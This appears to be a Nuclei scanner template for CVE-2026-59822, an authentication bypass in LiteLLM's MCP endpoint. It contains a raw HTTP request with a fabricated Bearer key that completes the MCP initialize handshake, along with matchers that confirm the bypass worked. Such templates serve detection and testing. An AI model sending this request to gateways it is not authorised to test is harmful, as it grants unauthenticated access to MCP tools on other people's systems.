id: CVE-2026-59822

info:
  name: "LiteLLM - MCP Authentication Bypass via OAuth2 Passthrough Fallback"
  author: vedas-arpsyndicate
  severity: high
  description: |
    LiteLLM (AI Gateway) before 1.84.0 exposes an MCP Streamable HTTP endpoint at /mcp/.
    When a request carries a fabricated Authorization header, failed LiteLLM key validation
    falls through an OAuth2 passthrough path that substitutes an empty UserAPIKeyAuth()
    object, so the request reaches MCP tooling without a valid LiteLLM key. An
    unauthenticated attacker can complete the MCP initialize handshake and invoke tools.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-59822&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
    cve-id: CVE-2026-59822
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2026,litellm,mcp,auth-bypass
http:
  - raw:
      - |
        POST /mcp/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        Authorization: Bearer sk-{{randstr}}

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"mcp","version":"1.0"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "protocolVersion")'
          - 'contains(body, "jsonrpc")'
          - 'status_code == 200'
        condition: and